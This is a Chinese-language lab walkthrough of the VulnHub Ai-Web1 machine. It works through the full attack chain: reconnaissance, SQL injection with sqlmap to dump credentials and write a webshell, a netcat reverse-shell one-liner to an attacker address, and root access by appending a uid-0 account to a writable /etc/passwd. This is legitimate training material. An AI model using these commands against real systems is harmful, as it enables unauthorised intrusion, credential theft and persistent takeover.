前言
零基础接触渗透已经快1.5年了,第一次感受到比开发还庞大的知识量,还以为开发是计算机的天花板了,以前学了逢人就说自己学了某某语言,会开发什么什么小工具,当时还以这个天天吹嘘,格格局小了…
进入安全圈后,才发现编程语言仅仅只是一个工具…
不多说了,切入正题。打了这一个靶机后,也把之前的所学的知识改用的都用上了,完完整整的利用一个web应用漏洞getshell,进入内网,提权,获取flag。当然这只是一个小小的渗透过程。对于我来说便足够了,能让我将知识串联起来。不至于以前学了这个漏洞,也仅仅只知道有这个漏洞,而不知道在什么地方利用这么一个尴尬的场景,迫切需要一个简单而又完整的流程进行梳理
准备
参考文章
csdn文章:教你玩转渗透测试靶机vulnhub——Ai-Web1
雨苁黑客工具:反弹shell连接
csdn文章:python交互式shell
博客园文章:ubuntu查询本地已安装的软件
Vulnhub靶机下载
官网地址:https://www.vulnhub.com/entry/ai-web-1,353/
开始
信息收集
拿到一台靶机,开机
但是我们并不知道ip地址(内网VMware DHCP自动分配),这时候我们第一步要做的就是进行内网主机的探测,根据自己实际的内网网段进行探测
kali使用命令,
netdiscover -r 192.168.30.0/24
由于其他内网ip地址我都是认识了,直接冲靶机ip就行了,真实场景可不是这样子的,是要每一台主机进行探测,这里为了省事直接忽略…
探测主机开放的端口
nmap -sS -T4 -v -O 192.168.30.128
探测到只有一个80端口是开放的,直接访问即可
翻译:甚至连谷歌搜索我的内容都没有!
按照以上这句话的意思,应该是使用了robots协议,禁止了爬虫收集
直接查看robots.txt文件
但是这两个目录好像都是返回403
目录遍历一下,这两个目录下到底有些什么东西
发现了一个info.php文件,可以获取到网站的绝对路径
继续将下面这个目录便利一下,刚开始我是将upload也进行便利但是没发现什么…
所以这里直接退回上一级的,se3reTdir777目录下重新进行遍历
发现了一个index.php文件,好像是查询id?
Sql注入获取–os-shell
看到这个就来劲了,什么绕过都没有,就是初学者的天下啊,随机来几个语句玩玩
联合查询,order by获取字段的步骤就省略了…
报错注入,真就随便注…
直接上sqlmap开干,首先使用bp截获数据包,注入点是uid
POST //se3reTdir777/index.php HTTP/1.1
Host: 192.168.30.128
Content-Length: 24
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.30.128
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.30.128//se3reTdir777/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=mooif000h41183lg3q0isrl8c0
Connection: close
uid=abc&Operation=Submit
温馨提示:这里不可以直接指定报错注入方式,不然会导致后面的getshell不成功,就我这个手贱的干了这个事,搞了后面还以为要什么先提权再getshell
方法1:使用-r 指定请求包(本人使用)
方法2:可以不使用请求包,改用–data指定参数即可也行
sqlmap -u [url] --data "uid=abc&Operation=Submit"
获取数据库a1web1,首先的目标就是获取数据库的账密。
sqlmap -r AiWebSql.txt --batch --dbs
获取表
sqlmap -r AiWebSql.txt --batch -D aiweb1 --tables
直接获取系统账户即可,user我看过没什么用…
sqlmap -r AiWebSql.txt --batch -D aiweb1 -T systemUser --dump
这边已经获取到账密了,可能对后面的渗透没什么帮助。但是实际场景中应该是要获取数据库的数据信息的,虽然没什么用。但是有可能某些网页后台存在有管理系统,我们可以通过账密登入,获取更多的渗透空间。
使用sqlmap获取shell,–os-shell,这里需要几个条件
- 拥有数据库的写入权限
- 知道网站根目录的绝对路径(通过phpinfo,或者其他方式)
- 数据库关闭GPC模式
目前我还不是很了解上面3种情况的使用场景,后续等用到了再说吧?
这一次我没什么障碍(手贱设置了报错注入方式),直接获取到shell了
获取网站的绝对路径,这个应该是必须的
getshell
sqlmap -r AiWebSql.txt --os-shell
默认php,接着下面选择2指定网站的绝对路径(可上传文件的路径)
如果不幸指定了报错注入的方式,只能先删除缓存再进行下一步操作,以后有发现注入不进去的,也可以尝试一下此步骤
方法1:直接删缓存文件
rm -rf /root/.local/share/sqlmap/output/192.168.30.128
方法2:临时刷新缓存记录,不使用缓存文件
重要:sqlmap刷新缓存记录,有可能因为缓存导致其他地方注入不成功
sqlmap -r AiWebSql.txt --os-shell --dbms=mysql --batch --flush-session
文件上传shell
这里也有两种方式上传
方法1:通过–os-shell自动上传的文件上传php
这种方式就不用多解释了吧
访问文件上传路径
方法2:通过sqlmap写入指定的webshell(使用这种)
现在需要写一句话木马 通过sqlmap传入服务器的路径下 先新建一个名称shell.php,冰蝎马
sqlmap -r AiWebSql.txt --file-write ./shell.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php --batch
--file-write:去读取文件(hack.php)
--file-dest:后面加目标的绝对路径 已经生成木马的名称(hack.php)
上传成功
使用冰蝎连接
反弹shell
使用在线反弹shell神器生成payload:https://www.ddosi.org/shell/
我用的时候有些payload是不行的,尝试更换一下payload,或者编码?可能是目标系统的问题?
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.30.102 7777 >/tmp/f
冰蝎执行反弹shell命令
本地接收一下就ok了,但是反弹回来的shell,或多或少都会存在问题,比如当我想使用top命令时就会提示没有 tty
。简单的来说就是没有上下文环境,这样的话,vim
,sudo
等操作都做不了,有时候还需要其他工具,很麻烦。
查看内核版本为Ubuntu系统
uname -a
Linux aiweb1 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
检查python环境,Ubuntu查看本地软件的命令(不会,所以就记录下来了)
dpkg -l | grep python
dpkg --get-selections | grep python
whereis ftp
但是如果发现对方机器上有 python 的话,我们可以:升级成交互shell
python -c 'import pty; pty.spawn("/bin/bash")'
提权-创建uid为0的hacker账户
查看用户权限,结果是网站的普通权限…
$ whoami
www-data
尝试使用系统漏洞可以查看这篇文章,但是可能不适用于这个靶机。提权那部分
这里就直奔主题了
查看/etc/passwd权限,其实一开始我并没有查看这个权限的,只是无意中看到…
ls -l /etc/passwd
-rw-r--r-- 1 www-data www-data 1664 Aug 21 2019 /etc/passwd
一般来说,/etc/passwd文件的所属主和所属组是为root账户的,应该是这个靶机的提权方式之一吧
创建hacker用户,这里是不能直接使用useradd命令,我们直接在/etc/passwd添加即可
生成加密密码
openssl passwd -1 -salt hacker 123456
$1$hacker$6luIRwdGpBvXdP.GMwcZp/
添加hacker用户到/etc/passwd中
echo 'hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0::/root:/bin/bash' >> /etc/passwd
获取flag
到了最关键的一步了,切换到高权限账户hacker,这里需要python交互shell,或许还有更好的交互shell方式?不然反弹shell是无法切换用户。
su - hacker
Passwd: 123456
查看root目录下有什么文件
出现了flag.txt
结束完美!
总结
- 首次使用sqlmap对web系统注入shell文件(之前一直以为只是获取账密)
- 对目录扫描更深一步的理解,之前很少会有目录扫描,压根不想扫
- 最关键一步就是–os-shell不能使用报错注入方式注入
- 首次完整提权过程,之前没有接触过提权,也仅仅是了解没有实战
- 对新手非常友好,是一个值得巩固知识体系的靶场。
- /etc/passwd的用户添加格式可能需要记录一下
- 用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell